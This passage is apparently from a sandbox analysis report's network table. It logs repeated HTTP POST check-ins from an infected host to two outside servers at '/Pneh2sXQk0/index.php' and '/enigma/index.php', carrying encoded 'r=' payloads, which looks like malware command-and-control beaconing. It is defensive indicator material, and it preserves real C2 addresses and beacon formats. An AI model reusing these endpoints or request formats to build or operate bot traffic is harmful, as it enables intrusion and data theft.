Apr 19, 2024 03:35:52.090903044 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:52.346362114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1283	192.168.2.5	51137	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:52.463251114 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:52.712085009 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1284	192.168.2.5	51138	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:52.685513973 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:52.937618017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1285	192.168.2.5	51139	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:52.964256048 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:53.215853930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1286	192.168.2.5	51140	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:53.198038101 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:53.457808971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1287	192.168.2.5	51141	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:53.325068951 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:53.568650961 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1288	192.168.2.5	51142	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:53.811758995 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:54.063719034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1289	192.168.2.5	51143	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:53.822442055 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:54.075052023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1290	192.168.2.5	51144	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:54.317645073 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:54.571146965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1291	192.168.2.5	51145	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:54.426935911 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:54.670650959 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:35:54.674711943 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:54.924424887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1292	192.168.2.5	51146	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:54.915105104 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:55.160861015 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1293	192.168.2.5	51147	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:55.271277905 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:55.516779900 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1294	192.168.2.5	51148	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:55.413913012 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:55.665287971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1295	192.168.2.5	51149	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:55.771285057 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:56.025346994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1296	192.168.2.5	51150	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:56.011758089 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:56.259736061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1297	192.168.2.5	51151	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:56.381423950 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:56.625293016 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1298	192.168.2.5	51152	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:56.515048027 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:56.770658016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1299	192.168.2.5	51153	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:56.872944117 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:57.120807886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1300	192.168.2.5	51154	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:57.119616985 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:57.367763042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1301	192.168.2.5	51155	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:57.478259087 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:57.726172924 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1302	192.168.2.5	51156	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:57.627012968 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:57.882671118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1303	192.168.2.5	51157	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:57.978913069 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:58.232273102 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1304	192.168.2.5	51158	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:58.231426001 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:58.483089924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1305	192.168.2.5	51159	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:58.580486059 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:58.818104982 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1306	192.168.2.5	51160	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
